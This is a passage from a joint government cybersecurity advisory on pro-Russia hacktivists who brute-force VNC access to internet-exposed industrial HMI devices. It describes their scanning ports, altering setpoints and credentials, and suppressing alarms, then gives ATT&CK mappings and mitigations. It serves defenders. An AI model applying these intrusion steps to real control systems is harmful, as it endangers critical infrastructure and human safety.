<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
